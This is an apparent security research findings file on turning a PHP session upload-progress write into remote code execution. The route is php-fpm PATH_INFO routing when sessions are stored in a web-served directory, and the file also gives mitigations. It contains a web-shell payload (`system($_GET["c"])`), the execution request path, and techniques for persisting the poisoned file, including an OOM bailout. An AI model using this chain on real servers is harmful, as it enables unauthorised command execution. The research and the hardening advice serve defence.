php2shell/nolfi/FINDINGS.md

# RCE Without LFI — Findings

Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS`
write primitive) be turned into RCE **without any include() primitive in the
application**?

Short answer: not through the session decoder — PHP never unserializes attacker
bytes off the session file, and four independent guards close that route. But
yes through a different consumer: **PHP-FPM's own request routing**. When
`session.save_path` is web-served, the poisoned session file is directly
requestable, and php-fpm executes it through the standard `PATH_INFO` route as
soon as `security.limit_extensions` is empty. No application code runs at any
point; the poison fires even on 404 URLs.

Everything below was verified against a local php-fpm 8.5.11 build plus the
PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`,
`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`).

## Part 1: why session deserialization is a dead end

The obvious no-LFI consumer is `session_start()` itself: it decodes the
poisoned file on the next request. If the decoded stream could be made to
unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain
(phpggc) would give RCE with zero LFI. It cannot, for four reasons:

**1. The `|` guard aborts the whole write** (php handler, the default).

`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key:

    smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
    if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
        ... return NULL;            /* session.c:993-998 in 8.3 */

and `php_session_save_current_state()` then writes the **empty string** instead
of the session (session.c:529-531). The progress key is `prefix + $_POST value`
appended verbatim (session.c:3144-3145, no per-character filtering — the README
of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the
value kills the write entirely.

Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file
exists with **0 bytes**. No object, no data.

**2. The key is never unserialized.** With `serialize_handler=php`, the decode
loop splits at the first `|` and unserializes only the value side
(session.c:1024-1048). The value side is always the well-formed progress array
written by `php_var_serialize` — length-prefixed, aligned. The raw attacker
bytes land in the key, which becomes a plain `$_SESSION` array key.

**3. Other serializers are aligned or escaped.**
- `php_serialize`: key passes through `php_var_serialize` escaping
  (`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single
  aligned `unserialize()`.
- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`,
  `continue`), decode is length-prefixed.
- `wddx`: XML, can only produce scalars/arrays.

**4. The SID cannot carry the payload into a filename.** The rfc1867 flow
skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)`
straight from the cookie/GET/POST-form-field (session.c FILE_START handler) —
but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()`
(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`.
The path is always `<save_path>/sess_<SID>` (`ps_files_path_create`), so no
traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces
"Session ID is too long or contains illegal characters" and no file.

Handler-specific corollary: the rfc1867 path hands the raw SID to whichever
save handler is configured. `mod_files` is the only built-in that validates.
Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated —
whether they sanitize before building store keys is deployment-dependent and
was **not verified** here; for redis-style handlers a CRLF-capable SID is
protocol injection, which is a separate research thread.

## Part 2: what works — php-fpm consumes the file itself

The no-LFI consumer is not PHP code, it is the **request router**:

1. **The poison does not need the application.** The rfc1867 callback runs
   inside the SAPI POST reader, before script dispatch. A multipart POST to a
   URL whose script does not exist (fpm answers 404) still writes the poisoned
   session file. Verified: POST to `/nonexistent.php` → file written. This
   means *any* PHP-handled vhost URL is a valid injection endpoint.

2. **If `session.save_path` is web-served, the file is fetchable over HTTP.**
   `sess_<SID>` has no extension (SID charset has no dot), so a default php-fpm
   refuses it: `Access denied.` from `security.limit_extensions` (verified).
   But with **`security.limit_extensions` empty** — a very common production
   setting — the classic nginx `cgi.fix_pathinfo` route executes it:

       GET /sessions/sess_<SID>/x.php?c=id

   nginx matches `location ~ \.php$` on the URI, resolves the longest existing
   prefix as the script, and fpm executes the extensionless session file with
   `PATH_INFO=/x.php`.

   Verified end-to-end against php-fpm 8.5.11: the session file
   `upload_progress_<?php system($_GET["c"]); ?>|a:5:{...}` executed and
   returned `uid=1000(...)`. Both limit_extensions states tested.

3. **Persistence vs the race.** With `session.upload_progress.cleanup=1`
   (default) the file is truncated at `MULTIPART_EVENT_END`. Persistence
   options:
   - `cleanup=0` — file persists with `done=1`; no race needed.
   - **Streaming request bodies** (Apache mod_php, nginx
     `fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the
     write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long
     as the upload is dripped. Verified: slow FCGI drip, execution request hit
     during the window on the first poll.
   - **Buffering stacks** (nginx default): the whole body arrives, then fpm
     parses; the window is only the parse time — measured ~16 ms for a 7 MB
     body. Detection may land, follow-up commands usually miss. Not reliable.
   - **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the
     parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never
     runs, and the poisoned file persists. Requires the OOM body to fit under
     `post_max_size` while exceeding `memory_limit` headroom (i.e.
     `memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood
     against `memory_limit=16M`, `post_max_size=64M` → worker died, file
     persisted, pathinfo execution returned command output.

## Exploit

`exploit_nolfi.py` implements the chain with auto-detection:

- `--probe` classifies each candidate URL prefix: not served / served only
  (source disclosure) / fully executable.
- Default mode poisons + races the upload window while polling execution
  vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to
  calm execution if the file persisted.
- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with
  `--fields` / `--fsize`).

## Updated mitigation matrix

| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) |
|---|---|---|---|---|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL |
| + limit_extensions=`.php .phar` | — | — | — | OK |
| + save_path outside docroot / not served | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** |

"Fix the LFI" no longer closes the bug class: the served-path chain needs no
application file-inclusion at all.

## Recommendations (additions to the existing list)

5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
   (do not leave it empty).
6. Keep `session.save_path` outside any web-served tree; audit for alias or
   `location` blocks that expose it.
7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO.

## Test log (local rig)

- php-fpm 8.5.11 (source build), session.save_path under a docroot served by
  an nginx-equivalent gateway (static files + `location ~ \.php$` +
  fix_pathinfo semantics).
- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo
  exec → interactive command loop. Confirmed RCE.
- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit
  during upload window on first poll. Confirmed RCE.
- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file
  persisted, exec confirmed. Confirmed RCE.
- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection
  frequently succeeds, sustained command execution unreliable. Documented.
- `security.limit_extensions=.php .phar` (default): all execution attempts
  blocked with "Access denied". Confirmed mitigation.
- Session deserialization injection (`|` in progress key): 0-byte file,
  no unserialization. Confirmed dead end.